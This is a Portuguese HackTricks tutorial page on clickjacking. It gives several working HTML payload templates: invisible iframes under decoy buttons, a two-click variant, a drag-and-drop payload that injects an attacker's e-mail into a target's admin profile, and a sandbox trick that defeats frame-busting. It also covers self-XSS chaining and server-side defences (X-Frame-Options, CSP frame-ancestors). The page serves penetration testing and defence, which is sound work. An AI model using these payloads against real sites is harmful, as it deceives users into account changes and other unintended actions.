12 KiB
Clickjacking
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o HackTricks e HackTricks Cloud github repos.
Use Trickest para construir e automatizar fluxos de trabalho facilmente com as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
O que é Clickjacking
Em um ataque de clickjacking, um usuário é enganado para clicar em um elemento em uma página da web que está invisível ou disfarçado como um elemento diferente. Essa manipulação pode levar a consequências indesejadas para o usuário, como o download de malware, redirecionamento para páginas da web maliciosas, fornecimento de credenciais ou informações sensíveis, transferências de dinheiro ou a compra online de produtos.
Truque de pré-preenchimento de formulários
Às vezes é possível preencher o valor dos campos de um formulário usando parâmetros GET ao carregar uma página. Um atacante pode abusar desse comportamento para preencher um formulário com dados arbitrários e enviar a carga de clickjacking para que o usuário pressione o botão Enviar.
Preencher formulário com Arrastar e Soltar
Se você precisa que o usuário preencha um formulário mas não quer pedir diretamente a ele para escrever algumas informações específicas (como o e-mail e/ou senha específica que você conhece), você pode simplesmente pedir a ele para Arrastar e Soltar algo que escreverá seus dados controlados como neste exemplo.
Payload Básico
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Carga Única
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Arrastar e Soltar + Payload de Clique
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Se você identificou um ataque de XSS que requer que um usuário clique em algum elemento para acionar o XSS e a página é vulnerável ao clickjacking, você pode abusar disso para enganar o usuário a clicar no botão/link.
Exemplo:
Você encontrou um self XSS em alguns detalhes privados da conta (detalhes que apenas você pode definir e ler). A página com o formulário para definir esses detalhes é vulnerável ao Clickjacking e você pode pré-preencher o formulário com os parâmetros GET.
__Um atacante poderia preparar um ataque de Clickjacking para essa página pré-preenchendo o formulário com o payload XSS e enganando o usuário a enviar o formulário. Assim, quando o formulário for enviado e os valores forem modificados, o usuário executará o XSS.
Estratégias para Mitigar o Clickjacking
Defesas do Lado do Cliente
Scripts executados no lado do cliente podem realizar ações para prevenir o Clickjacking:
- Garantir que a janela da aplicação seja a janela principal ou superior.
- Tornar todos os frames visíveis.
- Impedir cliques em frames invisíveis.
- Detectar e alertar os usuários sobre possíveis tentativas de Clickjacking.
No entanto, esses scripts de quebra de frames podem ser contornados:
- Configurações de Segurança dos Navegadores: Alguns navegadores podem bloquear esses scripts com base em suas configurações de segurança ou falta de suporte ao JavaScript.
- Atributo
sandbox
do iframe HTML5: Um atacante pode neutralizar scripts de quebra de frames definindo o atributosandbox
com os valoresallow-forms
ouallow-scripts
semallow-top-navigation
. Isso impede que o iframe verifique se é a janela superior, por exemplo,
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
As valores allow-forms
e allow-scripts
permitem ações dentro do iframe, enquanto desabilitam a navegação de nível superior. Para garantir a funcionalidade pretendida do site alvo, permissões adicionais como allow-same-origin
e allow-modals
podem ser necessárias, dependendo do tipo de ataque. Mensagens no console do navegador podem orientar sobre quais permissões permitir.
Defesas do Lado do Servidor
X-Frame-Options
O cabeçalho de resposta HTTP X-Frame-Options
informa aos navegadores sobre a legitimidade de renderizar uma página em um <frame>
ou <iframe>
, ajudando a prevenir o Clickjacking:
X-Frame-Options: deny
- Nenhum domínio pode enquadrar o conteúdo.X-Frame-Options: sameorigin
- Apenas o site atual pode enquadrar o conteúdo.X-Frame-Options: allow-from https://trusted.com
- Apenas o 'uri' especificado pode enquadrar a página.- Observe as limitações: se o navegador não suportar essa diretiva, ela pode não funcionar. Alguns navegadores preferem a diretiva CSP frame-ancestors.
Diretiva frame-ancestors da Política de Segurança de Conteúdo (CSP)
A diretiva frame-ancestors
na CSP é o método recomendado para proteção contra Clickjacking:
frame-ancestors 'none'
- Semelhante aX-Frame-Options: deny
.frame-ancestors 'self'
- Semelhante aX-Frame-Options: sameorigin
.frame-ancestors trusted.com
- Semelhante aX-Frame-Options: allow-from
.
Por exemplo, a seguinte CSP permite apenas o enquadramento do mesmo domínio:
Content-Security-Policy: frame-ancestors 'self';
Mais detalhes e exemplos complexos podem ser encontrados na documentação da CSP frame-ancestors e na documentação da CSP frame-ancestors da Mozilla.
Política de Segurança de Conteúdo (CSP) com child-src
e frame-src
A Política de Segurança de Conteúdo (CSP) é uma medida de segurança que ajuda a prevenir o Clickjacking e outros ataques de injeção de código, especificando quais fontes o navegador deve permitir carregar conteúdo.
Diretiva frame-src
- Define fontes válidas para frames.
- Mais específico do que a diretiva
default-src
.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Esta política permite frames da mesma origem (self) e https://trusted-website.com.
Diretiva child-src
- Introduzida no CSP nível 2 para definir fontes válidas para web workers e frames.
- Atua como um fallback para frame-src e worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Esta política permite frames e workers da mesma origem (self) e https://trusted-website.com.
Notas de Uso:
- Descontinuação: child-src está sendo substituído por frame-src e worker-src.
- Comportamento de Reserva: Se frame-src estiver ausente, child-src é usado como reserva para frames. Se ambos estiverem ausentes, default-src é usado.
- Definição de Fonte Estrita: Inclua apenas fontes confiáveis nas diretivas para evitar exploração.
Scripts JavaScript de Quebra de Frames
Embora não seja totalmente à prova de falhas, scripts de quebra de frames baseados em JavaScript podem ser usados para evitar que uma página da web seja enquadrada. Exemplo:
if (top !== self) {
top.location = self.location;
}
Utilizando Tokens Anti-CSRF
- Validação de Token: Utilize tokens anti-CSRF em aplicações web para garantir que solicitações que alteram o estado sejam feitas intencionalmente pelo usuário e não por meio de uma página Clickjacked.
Referências
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
Use Trickest para construir facilmente e automatizar fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, verifique os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os repositórios HackTricks e HackTricks Cloud.